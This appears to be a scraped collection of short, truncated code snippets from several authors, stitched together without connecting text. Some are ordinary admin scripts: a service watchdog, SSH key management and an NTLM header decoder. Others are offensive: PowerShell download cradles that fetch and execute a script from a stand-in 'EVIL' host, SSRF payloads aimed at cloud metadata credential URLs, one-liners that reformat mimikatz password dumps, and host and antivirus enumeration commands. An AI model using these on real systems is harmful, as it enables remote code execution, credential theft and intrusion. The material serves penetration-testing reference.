vodolaz095

#!/bin/bash
# Service watchdog script
# Put in crontab to automatially restart services (and optionally email you) if they die for some reason.
# Note: You need to run this as root otherwise you won't be able to restart services.
#
# Example crontab usage:
#
# Strict check for apache2 service every 5 minutes, pipe results to /dev/null
# */5 * * * * sh /root/watchdog.sh apache2 "" > /dev/null
#

sivel

Better SSH Authorized Keys Management

A seemingly common problem that people encounter is how to handle all of your users authorized_keys file.

People struggle over management, ensuring that users only have specific keys in the authorized_keys file or even a method for expiring keys. A centralized key management system could help provide all of this functionality with a little scripting.

One piece of functionality overlooked in OpenSSH is the AuthorizedKeysCommand configuration keyword. This configuration allows you to specify a command that will run during login to retrieve a users public key file from a remote source and perform validation just as if the authorized_keys file was local.

Here is an example directory structure for a set of users with SSH public keys that can be shared out via a web server:

kurokikaze

(new-object System.Net.WebClient).DownloadFile('http://dl.google.com/chrome/install/375.126/chrome_installer.exe', 'c:/temp/chrome.exe');. c:/temp/chrome.exe /silent /install;rm c:/temp -rec

aseering

#!/usr/bin/env python

## Decodes NTLM "Authenticate" HTTP-Header blobs.
## Reads the raw blob from stdin; prints out the contained metadata.
## Supports (auto-detects) Type 1, Type 2, and Type 3 messages.
## Based on the excellent protocol description from:
##  <http://davenport.sourceforge.net/ntlm.html>
## with additional detail subsequently added from the official protocol spec:
##  <http://msdn.microsoft.com/en-us/library/cc236621.aspx>
##

HarmJ0y

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

BuffaloWill

## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]

## AWS 
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]

Raikia

Assuming you have a mimikatz dump named "mimikatz_dump.txt", I made these bash one-liners that will reformat the mimikatz output to "domain\user:password"

First, before using these parsers, run:  "dos2unix mimikatz_dump.txt"

Mimikatz 1.0:

cat mimikatz_dump.txt  | grep -P '((Utilisateur principal)|(msv1_0)|(kerberos)|(ssp)|(wdigest)|(tspkg))\s+:\s+.+' | grep -v 'n\.' | sed -e 's/^\s\+[^:]*:\s\+//' | sed -e 's/Utilisateur principal\s\+:\s\+\(.*\)$/\n\1/' | sort -u


Mimikatz 2.0 (unfortunately, you must "apt-get install pcregrep" because reasons):

xorrior

Host Enumeration:

--- OS Specifics ---
wmic os LIST Full (* To obtain the OS Name, use the "caption" property)

wmic computersystem LIST full

--- Anti-Virus ---

wmic /namespace:\\root\securitycenter2 path antivirusproduct

dogrocker

#Wireless Penetration Testing Cheat Sheet

##WIRELESS ANTENNA

• Open the Monitor Mode

root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up

NoOneInParticular

# Setting up the connection string (suggest using a sql account vs Windows login)
$dataSource = "<server name>"   
$user = "username"
$pwd = "password"
$database = "<database name>"
$connectionString = "Server=$dataSource;uid=$user; pwd=$pwd;Database=$database;Integrated Security=False;"

#Create the query and store it in a variable
$query = "SELECT [<ColumnName>] FROM [<DatabaseName>].[dbo].[<tablename>]"